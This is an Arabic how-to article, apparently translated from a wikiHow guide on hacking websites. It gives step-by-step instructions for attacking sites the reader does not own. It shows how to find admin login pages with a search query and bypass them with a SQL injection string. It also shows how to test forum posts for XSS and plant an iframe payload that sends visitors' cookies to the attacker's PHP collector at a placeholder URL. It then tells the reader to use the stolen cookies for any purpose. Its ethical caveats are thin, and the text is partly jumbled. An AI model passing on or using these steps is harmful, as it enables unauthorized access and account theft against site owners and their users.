تنفيذ الهجوم اعتمادًا على ثغرات الحقن أسّس للنجاح باستخدام الثغرة البرمجية Cross-site scripting (XSS)
يجب أن تجد موقع يمكنك اختراقه اعتمادًا على الثغرات الموجودة فيه، بسبب وجود ميزة تسجيل الدخول كمدير يجعل الوصول لصلاحياته أمرًا سهلًا. ابحث في غوغل عن العبارة التالية admin login.asp. اكتب admin في حقل اسم المستخدم، أما كلمة المرور فاجعلها مكوّنة من رقم واحد وكرره داخل سلسلة محرفية اختياريّة. المثال الشائع على ذلك هو 1’ أو ’1’='1. من الممكن أن يتطلب الأمر القليل من التجريب والخطأ. أخيرًا، يحب عليك أن تكون قادرًا على إيجاد السلسلة المحرفية التي تسمح لك بالدخول إلى الموقع بصلاحيات المدير، باعتبار أن الموقع يتمتع بثغرات من أجل اختراقه. في حال أردت أن تتعلم اختراق المواقع بالطريقة الصحيحة، يجب عليك عندها أن تفهم كيف تعمل أجهزة الكومبيوتر وغيرها من التقنيّات. تعلم استخدام لغات برمجة مثل SQL أو بايثون لتتمكن من الحصول على تحكم أفضل بالمواقع التي تستهدفها بالإضافة لمعرفة الثغرات بالأنظمة. ستحتاج أن تفهم جيّدًا HTML وJavaScript في حال رغبت في اختراق المواقع بشكل خاص. من الممكن أن يأخذ ذلك الكثير من وقتك لتتعلمه، إلا أنه يوجد الكثير من الطرق المجّانية لتتعلم على الإنترنت، لذا لديك الفرصة إذا كنت تريد حقًّا استغلالها. هؤلاء مخترقون يستخدمون معرفتهم من أجل الخير، كاشفين عن ثغرات الحماية وجاعلين الانترنت مكان أفضل لجميع الناس. في حال كنت تريد أن تتعلم الاختراق من أجل القيام بأهداف نبيلة أو من أجل حماية موقعك الخاص، يجب إذًا عليك أن تتواصل مع مواقع الأمن المعلوماتي الموجودة حاليًا على شبكة الانترنت من أجل الحصول على نصائح. إذا كنت تريد أن تتعلم كيفية الاختراق أو تريد فقط حماية نفسك، عليك القيام بالكثير من البحث. يوجد الكثير من الطرق التي يمكن أن تجعل المواقع عرضة للاختراق، وهذه القائمة بتغيير مستمر، لذا عليك أن تتعلم باستمرار. بما أن قائمة الاختراقات المحتملة هي في تغير مستمر، عليك أن تتأكد من أنك متابع لكل المستجدات أول بأوّل. لأنك محميّ من نوع معيّن من الهجمات هذا لا يعني أنك ستكون بأمان في المستقبل مواقع تبادل الآراء بالمنشورات هي أفضل مثال. تذكر أنه لو كان هذا الموقع محميّ جيّدًا، فلن تعمل هذه الطريقة. ستحتاج لكتابة بعض الأكواد الخاصة (الشيفرات البرمجية) في منشورك هذا، مما سيسمح لك بالحصول على معلومات كل شخص يضغط عليه. يجب أن تختبر فيما إذا كان الموقع يقوم بتصفية المنشورات المحتوية على أكواد برمجية. اكتب <script>window.alert(“test”)</script> في حال ظهرت لك رسالة تحذيرية عندما تضغط على نشر، فالموقع يمكن اختراقه بهذه الطريقة. الهدف من إجراء هذا الهجوم هو الحصول على الكوكيز الخاصة بالمستخدم (أي سجل نشاطاته على الانترنت) مما يخولك بالوصول إلى حسابه الخاص بالموقع الذي يعاني من ثغرات تسجيل الدخول. ستحتاج إلى برنامج الحصول على الكوكيز، الذي سيقوم بجلب الكوكيز الخاصة بالضحية ثم تغيير وجهتها لتصل إليك. قم برفع البرنامج إلى موقع لديك صلاحيات بالدخول إليه ويدعم php. اكتب الكود المناسب في المنشور والذي سيقوم بدوره بجمع الكوكيز وإرسالهم إلى موقعك. ستودّ أن تضيف بعضًا من النّص بعد الكود من أجل أن تبعد الغموض عنك وتحفظ منشورك من أن يتم حذفه. مثال على الكود <iframe frameborder="0" height="0" width="0" src="javascript...:void(document.location='YOURURL/cookiecatcher.php?c=' document.cookie)></iframe> بعد ذلك، يمكنك استخدام معلومات الكوكيز، والتي يجب أن يتم حفظها في موقعك، لأي غرض تريده.
ابحث عن موقع تعتقد أنه مصاب بثغرات. قم بتسجيل الدخول كمدير. كن صبورًا. ادخل إلى الموقع. تعلم لغة برمجة أو لغتين. تعلّم أساسيات HTML. خذ بمشورة خبراء الأمن المعلوماتي. ابحث كثيرًا عن الاختراق. ابق على تواصل مع المستجدات. ابحث عن موقع تعتقد أن فيه ثغرات ويمكنك أن تكتب فيه منشورات. اذهب إلى خيار إنشاء منشور جديد. اصنع وارفع الكود المساعد في الحصول على الكوكيز. انشر الكود المساعد في الحصول على الكوكيز. استخدم الكوكيز التي جمعتها.
https://www.wikihow.com/Hack-a-Website https://www.wikihow.com/Hack-a-Website https://www.wikihow.com/Hack-a-Website
Executing Injection Attacks Setting Up for Success Using Cross-Site Scripting